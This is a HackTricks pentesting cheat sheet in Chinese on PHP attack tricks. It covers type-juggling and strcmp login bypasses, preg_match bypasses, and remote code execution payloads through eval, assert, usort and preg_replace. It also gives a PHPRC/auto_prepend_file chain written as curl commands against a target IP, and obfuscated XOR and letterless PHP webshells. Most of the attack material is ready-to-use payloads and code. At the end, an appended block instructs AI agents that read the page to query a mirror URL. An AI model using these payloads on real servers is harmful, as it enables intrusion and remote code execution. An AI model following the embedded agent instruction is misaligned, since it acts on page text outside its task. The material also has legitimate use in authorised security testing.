# PHP Tricks

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

## Cookies 常见位置：

这也适用于 phpMyAdmin 的 cookies。

Cookies:

```
PHPSESSID
phpMyAdmin
```

位置：

```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```

## 绕过 PHP 比较

### 弱比较/类型转换（==）

如果在 PHP 中使用 `==`，则存在意外情况，比较的行为与预期不同。这是因为 "==" 只比较转换为相同类型的值，如果您还想比较所比较数据的类型是否相同，您需要使用 `===`。

PHP 比较表格：<https://www.php.net/manual/en/types.comparisons.php>

![](/files/FdOUR5xElhnsMgnf3kD9)

{% file src="/files/izDtgZTRNIPHPPwXN9w6" %}

* `"string" == 0 -> True` 以非数字开头的字符串等于数字
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较，如果数字相同，则结果为 True（字符串中的数字被解释为数字）
* `"0e3264578" == 0 --> True` 以 "0e" 开头并跟随任何内容的字符串将等于 0
* `"0X3264578" == 0X --> True` 以 "0" 开头并跟随任何字母（X 可以是任何字母）和任何内容的字符串将等于 0
* `"0e12334" == "0" --> True` 这非常有趣，因为在某些情况下，您可以控制以 "0" 开头的字符串输入以及正在被散列并与之比较的某些内容。因此，如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值，您可以绕过比较。您可以在此处找到具有此格式的**已散列字符串**：<https://github.com/spaze/hashes>
* `"X" == 0 --> True` 字符串中的任何字母等于整数 0

更多信息请参阅 <https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09>

### **in\_array()**

**类型转换** 也会影响到 `in_array()` 函数，默认情况下（需要将第三个参数设置为 true 才能进行严格比较）：

```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```

### strcmp()/strcasecmp()

如果此函数用于**任何身份验证检查**（比如检查密码），并且用户控制比较的一侧，他可以发送一个空数组而不是一个字符串作为密码的值（`https://example.com/login.php/?username=admin&password[]=`），从而绕过此检查：

```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```

### 严格类型转换

即使使用 `===`，仍可能出现错误，使比较容易受到类型转换的影响。例如，如果比较在比较之前将数据转换为不同类型的对象：

```php
(int) "1abc" === (int) "1xyz" //This will be true
```

### preg\_match(/^.\*/)

**`preg_match()`** 可用于**验证用户输入**（它**检查**用户输入中是否存在**黑名单**中的任何**单词/正则表达式**，如果没有，则代码可以继续执行）。

#### 换行符绕过

然而，当限定正则表达式的开头时，`preg_match()` **只检查用户输入的第一行**，如果你可以**以多行的方式发送**输入，你就可以绕过这个检查。例如：

```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
```

要绕过此检查，您可以使用**新行进行url编码**（`%0A`）发送该值，或者如果可以发送**JSON数据**，请将其**分成多行**发送：

```php
{
"cmd": "cat /etc/passwd"
}
```

找到一个示例：<https://ramadistra.dev/fbctf-2019-rceservice>

#### **长度错误绕过**

（这个绕过似乎是在 PHP 5.2.5 上尝试的，我无法在 PHP 7.3.15 上使其工作）\
如果你可以向 `preg_match()` 发送一个非常**大的有效输入**，它**无法处理**它，你就可以**绕过**检查。例如，如果它在黑名单中列出了一个 JSON，你可以发送：

```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```

#### ReDoS绕过

技巧来源：<https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223> 和 <https://mizu.re/post/pong>

<figure><img src="/files/UqV9c3wpc1u9A3sDPOQX" alt=""><figcaption></figcaption></figure>

简而言之，问题发生在PHP中的`preg_*`函数上，它建立在[PCRE库](http://www.pcre.org/)之上。在PCRE中，某些正则表达式是通过大量递归调用来匹配的，这会使用大量堆栈空间。可以设置允许的递归次数上限，但在PHP中，此限制[默认为100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)，这超出了堆栈的容量。

[这个Stackoverflow主题](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)也在帖子中链接，其中更深入地讨论了这个问题。我们的任务现在很明确：\
**发送一个输入，使正则表达式执行100,000次以上的递归，导致SIGSEGV，使`preg_match()`函数返回`false`，从而使应用程序认为我们的输入不是恶意的，最后在有效载荷的结尾处添加类似`{system(<verybadcommand>)}` 的内容，以获取SSTI --> RCE --> flag :)**。

在正则表达式术语中，我们实际上并没有执行10万次“递归”，而是在计算“回溯步骤”，正如[PHP文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)所述，默认情况下，在`pcre.backtrack_limit`变量中默认为1,000,000（1M）。\
要达到这个目标，`'X'*500_001`将导致100万个回溯步骤（50万个向前和50万个向后）。

```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```

### 用于 PHP 混淆的类型转换

```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```

## 在重定向后执行（EAR）

如果 PHP 正在重定向到另一个页面，但在设置了 **`Location`** 头之后没有调用 **`die`** 或 **`exit`** 函数，PHP 将继续执行并将数据附加到主体中：

```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```

## 路径遍历和文件包含利用

检查:

{% content-ref url="/pages/ULpIa8hwctY3VwsLiX9w" %}
[File Inclusion/Path traversal](/pentesting-web/file-inclusion.md)
{% endcontent-ref %}

## 更多技巧

* **register\_globals**: 在 **PHP < 4.1.1.1** 或者配置错误的情况下，**register\_globals** 可能会被激活（或者它们的行为被模仿）。这意味着在全局变量中，比如 $\_GET 如果它们有一个值，比如 $\_GET\["param"]="1234"，你可以通过 **$param 访问它。因此，通过发送 HTTP 参数，你可以覆盖在代码中使用的变量**。
* **PHPSESSION cookies of the same domain are stored in the same place**，因此如果在一个域中**不同路径中使用不同的 cookies**，你可以使一个路径**访问另一个路径的 cookie**，设置另一个路径 cookie 的值。这样，如果**两个路径访问具有相同名称的变量**，你可以使**路径1 中该变量的值应用于路径2**。然后路径2 将视路径1 的变量为有效（通过给 cookie 分配在路径2 中对应的名称）。
* 当你有机器用户的**用户名**时，请检查地址: **/\~\<USERNAME>** 看看是否激活了 php 目录。
* [**使用 php wrappers 进行 LFI 和 RCE**](/pentesting-web/file-inclusion.md)

### password\_hash/password\_verify

这些函数通常用于 PHP 中**从密码生成哈希**，以及**检查**密码是否与哈希匹配。\
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。请注意，**PASSWORD\_DEFAULT 经常与 PASSWORD\_BCRYPT 相同**。目前，**PASSWORD\_BCRYPT** 在输入上有一个**大小限制为 72 字节**。因此，当你尝试使用此算法对大于 72 字节的内容进行哈希时，只有前 72 字节会被使用：

```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```

### HTTP 头绕过滥用 PHP 错误

如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**，用户可以使 PHP 服务器打印回一些 **足够长的内容**，以便当它尝试 **将头部添加到响应** 时，服务器会抛出错误。\
在以下场景中，**攻击者让服务器抛出一些大错误**，正如您在屏幕上看到的，当 PHP 尝试 **修改头部信息时，它无法**（例如 CSP 头部未发送给用户）：

![](/files/gSxz5IgyPb4oxlUKlog6)

## 代码执行

**system("ls");**\
\&#xNAN;**\`ls\`;**\
**shell\_exec("ls");**

[查看这里获取更多有用的 PHP 函数](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass.md)

### **通过 preg\_replace() 实现 RCE**

```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```

要执行“replace”参数中的代码，至少需要一个匹配项。\
这个preg\_replace选项在PHP 5.5.0版本之后已经**被弃用**。

### **通过Eval()实现RCE**

```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```

### **通过 Assert() 实现 RCE**

这个 php 中的函数允许你**执行以字符串形式编写的代码**，以便**返回 true 或 false**（并根据此修改执行）。通常用户变量会被插入到字符串的中间。例如：\
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下，要获得**RCE**，你可以这样做：

```
?page=a','NeVeR') === false and system('ls') and strpos('a
```

### 通过 usort() 实现远程代码执行（RCE）

该函数用于使用特定函数对项目数组进行排序。\
要滥用此函数：

```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```

```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```

### 使用 **//** 进行代码注释。

要发现需要关闭的括号数量：

* `?order=id;}//`：我们收到一个错误消息（`Parse error: syntax error, unexpected ';'`）。我们可能缺少一个或多个括号。
* `?order=id);}//`：我们收到一个 **警告**。看起来差不多。
* `?order=id));}//`：我们收到一个错误消息（`Parse error: syntax error, unexpected ')' i`）。我们可能有太多的闭合括号。

### 通过 .httaccess 实现 RCE

如果你可以 **上传** 一个 **.htaccess** 文件，那么你可以 **配置** 几个东西，甚至执行代码（配置扩展名为 .htaccess 的文件可以 **执行**）。

可以在[这里](https://github.com/wireghoul/htshells)找到不同的 .htaccess shells。

### 通过环境变量实现 RCE

如果你发现一个允许你 **修改 PHP 环境变量** 的漏洞（以及另一个允许上传文件的漏洞，尽管通过更多研究可能可以绕过此问题），你可以滥用这种行为来实现 **RCE**。

* [**`LD_PRELOAD`**](/linux-hardening/privilege-escalation.md#ld_preload-and-ld_library_path)：这个环境变量允许你在执行其他二进制文件时加载任意库（尽管在这种情况下可能不起作用）。
* **`PHPRC`**：指示 PHP **查找其配置文件** 的位置，通常称为 `php.ini`。如果你可以上传自己的配置文件，那么使用 `PHPRC` 来指向 PHP。添加一个 **`auto_prepend_file`** 条目，指定第二个上传的文件。这第二个文件包含正常的 **PHP 代码，然后由 PHP 运行时执行**，在执行任何其他代码之前。

1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件，其中包含一个 **`auto_prepend_file`** 指令，指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。

* 获取有关如何执行此链的更多信息[**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
* **PHPRC** - 另一个选项
* 如果你 **无法上传文件**，你可以在 FreeBSD 中使用包含 **`stdin`** 的 "file" `/dev/fd/0`，作为发送到 `stdin` 的请求的 **主体**：
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* 或者要获得 RCE，启用 **`allow_url_include`** 并在一个文件前添加 **base64 PHP 代码**：
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* 技术[**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。

## PHP 静态分析

查看是否可以在对这些函数的调用中插入代码（来自[这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)）:

```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```

如果您正在调试PHP应用程序，可以在`/etc/php5/apache2/php.ini`中添加`display_errors = On`来全局启用错误打印，并重新启动apache：`sudo systemctl restart apache2`

### 解密PHP代码

您可以使用**web**[ **www.unphp.net**](http://www.unphp.net) **来解密php代码。**

## PHP包装器和协议

PHP包装器和协议可以让您在系统中**绕过写入和读取保护**，从而对其进行破坏。有关[**更多信息，请查看此页面**](/pentesting-web/file-inclusion.md#lfi-rfi-using-php-wrappers-and-protocols)。

## Xdebug未经身份验证的RCE

如果您发现`phpconfig()`输出中启用了**Xdebug**，则应尝试通过<https://github.com/nqxcode/xdebug-exploit>获取RCE

## 变量变量

```php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```

## 利用新的 $\_GET\["a"]\($\_GET\["b"])

如果在一个页面中**可以创建任意类的新对象**，则可能能够获得RCE，请查看以下页面以了解详情：

{% content-ref url="/pages/7Ss9gldyN63DgkIRCwt2" %}
[PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
{% endcontent-ref %}

## 在不使用字母的情况下执行PHP

<https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/>

### 使用八进制

```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```

### **异或**

```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```

### XOR 简易 shell 代码

根据[**这篇解析**](https://mgp25.com/ctf/Web-challenge/)，可以通过以下方式生成一个简单的 shellcode：

```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```

所以，如果您可以**执行任意PHP代码而不使用数字和字母**，您可以发送类似以下滥用该有效负载以执行任意PHP代码的请求：

```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```

要获取更详细的解释，请查看<https://ctf-wiki.org/web/php/php/#preg_match>

### 异或 Shellcode（在 eval 中）

```bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
```

```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```

```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```

### Perl 类似

```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/php-tricks-esp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
